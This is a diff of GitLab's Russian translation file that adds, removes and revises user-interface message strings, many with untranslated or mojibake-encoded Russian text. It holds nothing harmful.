@@ -26651,6 +27255,9 @@ msgstr "УбедитеÑÑŒ, что у проекта еÑÑ‚ÑŒ запроÑÑ‹ нÐ
msgid "TestHooks|Ensure the project has notes."
msgstr "УбедитеÑÑŒ, что в проекте еÑÑ‚ÑŒ заметки."
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr "УбедитеÑÑŒ, что wiki включена и имеет Ñтраницы."
@@ -26748,9 +27355,6 @@ msgstr "Трекер обÑуждений - Ñто меÑто, где можно
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr "Сервер Prometheus ответил Ñ Ñ€ÐµÐ·ÑƒÐ»ÑŒÑ‚Ð°Ñ‚Ð¾Ð¼ \"bad request\". ПожалуйÑта, убедитеÑÑŒ, что запроÑÑ‹ верны и поддерживаютÑÑ Ð² вашей верÑии Prometheus. %{documentationLink}"
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26760,12 +27364,12 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr "URL, иÑпользуемый Ð´Ð»Ñ Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ðº Elasticsearch. ИÑпользуйте ÑпиÑок разделÑемых запÑтыми адреÑов Ð´Ð»Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ¸ клаÑтеризации (напр., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Сертификат X509, иÑпользуемый в том Ñлучае, когда Ð´Ð»Ñ ÑвÑзи Ñ Ð²Ð½ÐµÑˆÐ½ÐµÐ¹ Ñлужбой авторизации требуетÑÑ Ð²Ð·Ð°Ð¸Ð¼Ð½Ð°Ñ Ð¿Ñ€Ð¾Ð²ÐµÑ€ÐºÐ° подлинноÑти TLS. ЕÑли оÑтавить пуÑтым, Ñертификат Ñервера вÑе еще будет проверÑÑ‚ÑŒÑÑ Ð¿Ñ€Ð¸ доÑтупе через HTTPS."
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
-msgstr ""
-
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
msgstr ""
@@ -26832,9 +27436,6 @@ msgstr "Введённый вами домен запрещён."
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26878,6 +27479,9 @@ msgstr "СвÑзь Ñ Ð¾Ñ‚Ð²ÐµÑ‚Ð²Ð»ÐµÐ½Ð¸ÐµÐ¼ удалена."
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26926,6 +27530,12 @@ msgstr "Приглашение было уÑпешно отправлено."
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr "Ð¡Ñ‚Ð°Ð´Ð¸Ñ Ð¾Ð±ÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð¿Ð¾ÐºÐ°Ð·Ñ‹Ð²Ð°ÐµÑ‚ времÑ, которое прошло Ñ Ð¼Ð¾Ð¼ÐµÐ½Ñ‚Ð° ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¾Ð±ÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð´Ð¾ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð¾Ð±ÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð² какой-либо из Ñтапов или Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¾Ð±ÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð½Ð° ДоÑку обÑуждений. Ðачните Ñоздавать обÑуждениÑ, чтобы увидеть ÑÐ²ÐµÐ´ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ñтой Ñтадии."
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr "Лицензионный ключ недейÑтвителен. УдоÑтоверьтеÑÑŒ, что он Ñовпадает Ñ Ñ‚ÐµÐ¼, что вы получили от GitLab Inc."
@@ -26971,6 +27581,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr "Сколько раз Ð·Ð°Ð³Ñ€ÑƒÐ¶Ð°ÐµÐ¼Ð°Ñ Ð·Ð°Ð¿Ð¸ÑÑŒ не могла найти Ñвой файл"
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -27082,6 +27695,9 @@ msgstr "Этап поÑтановки показывает Ð²Ñ€ÐµÐ¼Ñ Ð¼ÐµÐ¶Ð´Ñƒ
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr "Этап теÑÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ð¾ÐºÐ°Ð·Ñ‹Ð²Ð°ÐµÑ‚ времÑ, которое требуетÑÑ GitLab CI Ð´Ð»Ñ Ð·Ð°Ð¿ÑƒÑка вÑех Ñборочных линий, ÑвÑзанных Ñ ÑоответÑтвующим запроÑом на ÑлиÑние. Данные будут автоматичеÑки добавлены поÑле Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ вашей первой Ñборочной линии."
@@ -27091,8 +27707,8 @@ msgstr "ВремÑ, затраченное каждым Ñлементом, Ñо
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr "Ð’Ñ€ÐµÐ¼Ñ Ð´ÐµÐ¹ÑÑ‚Ð²Ð¸Ñ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ñтечет через %{number_of_minutes} минут. Ð”Ð»Ñ Ð±Ð¾Ð»ÑŒÑˆÐ¸Ñ… репозиториев иÑпользуйте комбинацию clone/push."
-msgid "The uploaded file is not a valid Google Takeout archive."
-msgstr "Загруженный файл не ÑвлÑетÑÑ Ð´Ð¾Ð¿ÑƒÑтимым архивом Google Takeout."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
+msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
msgstr ""
@@ -27103,9 +27719,6 @@ msgstr "Пользователь удалÑетÑÑ."
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr "ПользовательÑÐºÐ°Ñ ÐºÐ°Ñ€Ñ‚Ð° была Ñохранена. Продолжите, выбрав проекты, которые вы хотите импортировать."
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -27121,6 +27734,9 @@ msgstr "Среднее значение в Ñ€Ñду. Пример: между 3,
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -27208,6 +27824,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27523,9 +28142,6 @@ msgstr "Данный коммит ÑвлÑетÑÑ Ñ‡Ð°Ñтью запроÑа Ð
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr "Это коммит был подпиÑан <strong>верифицированной</strong> подпиÑью и коммитер подтвердил, что Ð°Ð´Ñ€ÐµÑ Ð¿Ð¾Ñ‡Ñ‚Ñ‹ принадлежит ему."
-
msgid "This commit was signed with a different user's verified signature."
msgstr "Этот коммит был подпиÑан верифицированной подпиÑью другого пользователÑ."
@@ -27535,9 +28151,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr "Этот коммит был подпиÑан <strong>непроверенной</strong> подпиÑью."
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27580,6 +28193,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr "Эта цель уже имеет макÑимально возможное количеÑтво дочерних целей."
@@ -27643,7 +28259,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27652,9 +28268,6 @@ msgstr "Это ваша Ñ‚ÐµÐºÑƒÑ‰Ð°Ñ ÑеÑÑиÑ"
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27769,7 +28382,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние заблокирован."
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27790,9 +28403,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27871,6 +28481,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27916,6 +28529,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28216,6 +28832,9 @@ msgstr "Таймаут"
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "ч"
@@ -28236,6 +28855,9 @@ msgstr "Ñ"
msgid "Tip:"
msgstr "Совет:"
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr "Заголовок"
@@ -28371,7 +28993,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr "Чтобы иÑпользовать Gitpod, Ñначала нужно включить Ñту функцию в разделе интеграций ваших %{user_prefs}."
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28470,6 +29092,9 @@ msgstr "Слишком много проÑтранÑтв имен включен
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "Слишком много проектов включено. Ð”Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð¼Ð¸ вам потребуетÑÑ ÐºÐ¾Ð½Ñоль или API."
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28812,6 +29437,9 @@ msgstr "Ðевозможно подключитьÑÑ Ðº ÑкземплÑру Ji
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28878,7 +29506,7 @@ msgstr "Отменить назначение комментирующего пÐ
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28950,10 +29578,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -29148,9 +29776,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29169,6 +29794,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr "Загрузите закрытый ключ Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñертификата"
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "Загрузить файл"
@@ -29205,6 +29833,9 @@ msgstr "ГолоÑа \"за\""
msgid "Usage"
msgstr "Ð¡ÐµÐ¹Ñ‡Ð°Ñ Ð¸ÑпользуетÑÑ"
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29295,6 +29926,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr "Ðе ограничена"
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr "ИÑпользование"
@@ -29442,6 +30076,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr "Пользователь уÑпешно изменен."
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29499,6 +30139,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr "ÐктивноÑÑ‚ÑŒ"
@@ -29544,6 +30187,9 @@ msgstr "Личные проекты"
msgid "UserProfile|Report abuse"
msgstr "Сообщить о нарушении"
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr "Сниппеты"
@@ -29574,6 +30220,9 @@ msgstr "Это пользователь не добавил в избранноÐ
msgid "UserProfile|This user is blocked"
msgstr "Этот пользователь заблокирован"
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr "Показать вÑе"
@@ -29610,6 +30259,9 @@ msgstr ""
msgid "Username or email"
msgstr "Ð˜Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð¸Ð»Ð¸ email"
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr "Пользователи"
@@ -29652,15 +30304,15 @@ msgstr "Ðет ответÑтвенного - %{openingTag} назначить Ñ
msgid "UsersSelect|Unassigned"
msgstr "Ðе назначено"
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr "ДейÑтвителен Ñ"
@@ -29730,7 +30382,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr "Различные наÑтройки, которые влиÑÑŽÑ‚ на производительноÑÑ‚ÑŒ GitLab."
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29813,6 +30465,9 @@ msgstr "ПроÑмотр файла @ "
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr "Показать вÑÑŽ панель"
@@ -29870,6 +30525,9 @@ msgstr "ПроÑмотр меток проекта"
msgid "View replaced file @ "
msgstr "ПроÑмотр заменённого файла @ "
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr "ПроÑмотр поддерживаемых Ñзыков и фреймворков"
@@ -29963,9 +30621,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -30071,6 +30726,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -30119,10 +30780,7 @@ msgstr "ПроÑтранÑтво имён"
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -30137,6 +30795,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -30161,6 +30822,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr "Мы не Ñмогли раÑпознать путь Ð´Ð»Ñ ÑƒÐ´Ð°Ð»ÐµÐ½Ð¸Ñ Ñ†ÐµÐ»Ð¸"
@@ -30290,6 +30954,9 @@ msgstr "Ð¡Ð¾Ð±Ñ‹Ñ‚Ð¸Ñ Ñборочной линии"
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30305,6 +30972,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30386,12 +31056,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30450,8 +31126,14 @@ msgstr ""
msgid "Wiki"
msgstr "Wiki"
-msgid "Wiki was successfully updated."
-msgstr "Wiki была уÑпешно обновлена."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
+msgstr ""
msgid "WikiClone|Clone your wiki"
msgstr "Клонировать wiki"
@@ -30606,6 +31288,9 @@ msgstr "ВерÑÐ¸Ñ Ñтраницы"
msgid "Wiki|Pages"
msgstr "Страницы"
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30687,9 +31372,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr "Вчера"
@@ -30699,6 +31381,9 @@ msgstr "Ð’Ñ‹"
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30744,6 +31429,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr "Ð’Ñ‹ не можете отменить ÑвÑзь Ñ Ð²Ð°ÑˆÐµÐ¹ оÑновной учетной запиÑью"
@@ -30903,6 +31591,9 @@ msgstr "Ð’Ñ‹ можете указать уровень уведомлений Ð
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr "Ð’Ñ‹ можете протеÑтировать Ñвой файл .gitlab-ci.yml Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ %{linkStart}CI Lint%{linkEnd}."
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30945,6 +31636,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -31023,6 +31717,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -31107,9 +31807,6 @@ msgstr "Вам необходимо указать и токен доÑтупа,
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr "Вам необходимо загрузить ÑкÑпортированный архив проекта GitLab (заканчивающийÑÑ Ð½Ð° .gz)."
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -31152,13 +31849,10 @@ msgstr "Ð’Ñ‹ будете получать ÑƒÐ²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ Ð
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr "Ð’Ñ‹ не Ñможете получать и отправлÑÑ‚ÑŒ код в данный проект через %{protocol} пока не %{set_password_link} в вашей учетной запиÑи"
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr "Ð’Ñ‹ не Ñможете работать Ñ Ð¿Ñ€Ð¾ÐµÐºÑ‚Ð¾Ð¼ через SSH, пока не добавите в Ñвой профиль ключ SSH"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
+msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31188,9 +31882,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -31209,6 +31900,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr "Ð’Ñ‹ уже включили двухфакторную аутентификацию Ñ Ð¸Ñпользованием аутентификаторов Ñ Ð¾Ð´Ð½Ð¾Ñ€Ð°Ð·Ð¾Ð²Ñ‹Ð¼ паролем. Чтобы зарегиÑтрировать другое уÑтройÑтво, Ñначала необходимо отключить двухфакторную аутентификацию."
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr "YouTube"
@@ -31233,6 +31927,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr "Ваш Ð°Ð´Ñ€ÐµÑ Ñлектронной почты Ð´Ð»Ñ ÐºÐ¾Ð¼Ð¼Ð¸Ñ‚Ð¾Ð² будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð²ÐµÐ±-операций, таких как редактирование и ÑлиÑние."
@@ -31245,6 +31942,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr "Ваши ключи GPG (%{count})"
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31386,6 +32086,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr "Ваша Ð»Ð¸Ñ†ÐµÐ½Ð·Ð¸Ñ Ð´ÐµÐ¹Ñтвительна Ñ"
@@ -31434,6 +32137,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr "Ваш Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° доÑтуп был поÑтавлен в очередь на проверку."
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31443,6 +32152,9 @@ msgstr "По вашему запроÑу не найдено ни одного Ð
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31452,6 +32164,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31624,13 +32339,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading)"
-msgstr ""
-
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31799,6 +32511,12 @@ msgstr[3] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr "закрытое обÑуждение"
@@ -31817,9 +32535,6 @@ msgstr "коммит %{commit_id}"
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr "подключение"
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31835,9 +32550,6 @@ msgstr "Ñоздан"
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr "данные"
@@ -31878,9 +32590,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr "готово"
-
msgid "download it"
msgstr ""
@@ -31973,6 +32682,9 @@ msgstr "Ð´Ð»Ñ %{ref}"
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -32001,6 +32713,9 @@ msgstr ""
msgid "has already been taken"
msgstr "уже был принÑÑ‚"
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr "помощь"
@@ -32022,7 +32737,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32555,6 +33270,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32582,6 +33300,9 @@ msgstr "по плану"
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32594,6 +33315,9 @@ msgstr ""
msgid "or"
msgstr "или"
+msgid "originating vulnerability"
+msgstr ""
+
